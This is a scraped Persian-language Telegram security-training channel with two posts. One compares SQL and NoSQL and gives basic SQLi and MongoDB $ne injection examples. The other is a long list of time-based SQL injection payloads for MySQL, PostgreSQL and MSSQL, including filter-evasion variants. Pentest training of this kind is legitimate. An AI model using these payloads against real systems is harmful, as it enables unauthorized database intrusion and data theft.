Security hint
4.53K subscribers
75 photos
2 videos
18 files
187 links
🔥Security training

🎯 قراره روشن کننده مسیرتون باشیم.

یوتیوب: www.youtube.com/@sec_hint

اپارات: aparat.com/sec_hint

گیت‌هاب: https://github.com/sechint

ادمین:
@adm_sec_hint
Download Telegram
🔍 SQL vs NoSQL: 🔍
یکی از چالش‌های مهم در تست نفوذ، شناخت دقیق نوع دیتابیس و استفاده از نقاط ضعف اون برای رسیدن به هدفه. دو نوع دیتابیس که بیشتر باهاشون سر و کار داریم، SQL و NoSQL هستن. امروز یه مقایسه سریع می‌کنیم و یه سری کوئری پرکاربرد رو هم معرفی می‌کنیم که توی حملات خیلی به درد می‌خوره.

🎯یک SQL: ساختارمند و قابل پیش‌بینی
وSQL مخفف "Structured Query Language" هست و برای دیتابیس‌های رابطه‌ای (Relational Databases) مثل MySQL، PostgreSQL، و SQL Server استفاده می‌شه. این نوع دیتابیس‌ها با جداول و روابط بین اون‌ها کار می‌کنن.

مثال کوئری‌های پرکاربرد در SQL:
- استخراج داده:

    SELECT * FROM users WHERE username = 'admin';

- تزریق (SQL Injection):

    SELECT * FROM users WHERE username = 'admin' --' AND password = 'password';

اینجاست که SQLi به درد می‌خوره؛ وقتی می‌خوای از نقاط ضعف توی اعتبارسنجی ورودی‌ها استفاده کنی.

🎯دو NoSQL: انعطاف‌پذیر و مقیاس‌پذیر
وNoSQL یعنی "Not Only SQL" و برای دیتابیس‌هایی استفاده می‌شه که ساختار غیررابطه‌ای دارن، مثل MongoDB، Cassandra، و CouchDB. این دیتابیس‌ها معمولاً داده‌ها رو به شکل سند (Document) یا جفت کلید-مقدار (Key-Value) ذخیره می‌کنن.

مثال کوئری‌های پرکاربرد در NoSQL:
- استخراج داده در MongoDB:

    db.users.find({ "username": "admin" });

- تزریق (NoSQL Injection):

    db.users.find({ "username": { $ne: null }, "password": { $ne: null } });

اینجا هم NoSQLi وقتی وارد می‌شه که داده‌ها به‌درستی اعتبارسنجی نمی‌شن و می‌تونیم با کوئری‌های مخرب، دیتابیس رو فریب بدیم.

⚔️ مقایسه کلی:
- ساختار داده: SQL داده‌ها رو به صورت جداول ساختاریافته ذخیره می‌کنه، در حالی که NoSQL از ساختارهای منعطف‌تری مثل JSON و Key-Value استفاده می‌کنه.
- مقیاس‌پذیری: SQL معمولاً به صورت عمودی (افزایش قدرت سرور) مقیاس‌پذیره، ولی NoSQL به صورت افقی (اضافه کردن سرورهای بیشتر) مقیاس‌پذیره.
- انعطاف‌پذیری: NoSQL توی کار با داده‌های بزرگ و غیرساختاریافته بهتر عمل می‌کنه.

💡 نکته مهم برای تست نفوذ:
شناخت تفاوت‌ها بین SQL و NoSQL، بهت کمک می‌کنه حملات تزریقی (SQLi و NoSQLi) رو دقیق‌تر و مؤثرتر پیاده‌سازی کنی. حواست باشه که همیشه قبل از هر حمله، نوع دیتابیس رو شناسایی کنی و از کوئری مناسب استفاده کنی.

مراقب باش! هکرهای موفق همیشه یک قدم جلوترن. 👀💻

#SQL #NoSQL #تست_نفوذ #امنیت_اطلاعات #Injection

🔔با ما همراه باشید
🌐Sec_Hint & Boost & Youtube
🔥14👍5
🚨 Time-Based SQL Injection Payloads 🚨

این لیست شامل Payload‌های مختلف برای اجرای حملات SQL Injection با استفاده از تأخیر زمانی است. این روش به شما کمک می‌کند تا آسیب‌پذیری‌های زمان‌محور را در دیتابیس‌های مختلف مثل MySQL، PostgreSQL و MSSQL شناسایی کنید.

🔹 چند نمونه از Payloadها:

timebased payloads for different dbms:
XOR(if(now()=sysdate(),sleep(7),0))XOR%23
'or sleep(7)--#
'or sleep(7)#
'or sleep(7)='#
'or sleep(7)='--
'/*F*/or/*F*/sleep(7)='
'or sleep(7)--%23
'or sleep(7)%23
'or sleep(7);%00
or sleep(7)--+-
or sleep(7)#
'/*f*/or/*f*/sleep/*f*/(7)--#
'/*f*/or/*f*/sleep/*f*/(7)#
or sleep(7)%23
'/*f*/or/*f*/sleep/*f*/(7)--%23
'/*f*/or/*f*/sleep/*f*/(7)%23
'/*f*/or/*f*/sleep/*f*/(7);%00
or/*f*/sleep/*f*/(7)--+-
or/*f*/sleep/*f*/(7)#
'XOR(if(now()=sysdate(),sleep(7),0))XOR'
'OR(if(now()=sysdate(),sleep(7),0))--#
'OR(if(now()=sysdate(),sleep(7),0))#
or/*f*/sleep/*f*/(7)%23
'OR(if(now()=sysdate(),sleep(7),0))--%23
'OR(if(now()=sysdate(),sleep(7),0))%23
'OR(if(now()=sysdate(),sleep(7),0));%00
OR(if(now()=sysdate(),sleep(7),0))--+-
OR(if(now()=sysdate(),sleep(7),0))#
OR(if(now()=sysdate(),sleep(7),0))%23
'WAITFORDELAY'0:0:7';%00
'WAITFORDELAY'0:0:7'#
'WAITFORDELAY'0:0:7'%23
'WAITFORDELAY'0:0:7';%00
WAITFORDELAY'0:0:7'#
WAITFORDELAY'0:0:7'%23
WAITFORDELAY'0:0:7'--+-
'WAITFORDELAY'0:0:7'--+-
'WAITFORDELAY'0:0:7'='
\/*F*/or/*f*/sleep(7)%23
'/*f*/OR/*f*/pg_sleep(7)#
'/*f*/OR/*f*/pg_sleep(7)%23
'/*f*/OR/*f*/pg_sleep(7);%00
/*f*/OR/*f*/pg_sleep(70)--+-
/*f*/OR/*f*/pg_sleep(70)#
/*f*/OR/*f*/pg_sleep(70)%23
'/*f*/OR/*f*/pg_sleep(7)=';%00
\)/*F*/or/*f*/sleep(7)%23
\)/*F*/or/*f*/sleep(7)%23
%E2%84%A2%27/*F*/or/*f*/sleep(7)%23
%E2%84%A2%27/*F*/or/*f*/pg_sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/pg_sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/sleep(7)--+-
%E2%84%A2\)/*F*/or/*f*/sleep(7)--+-
%E2%84%A2%27)/*F*/or/*f*/sleep(7)--+-
%E2%84%A2'/*F*/or/*f*/sleep(7)='
%E2%84%A2')/*F*/or/*f*/sleep(7)='
...

⚠️ توجه: تمامی payloadها را برای تست امنیتی هدفمند استفاده کنید و از آن‌ها در محیط‌های قانونی بهره ببرید.

#SQLi #Injection #TimeBased #Security

🔔با ما همراه باشید
🌐Sec_Hint & Boost & Youtube
12👍5👎1🤩1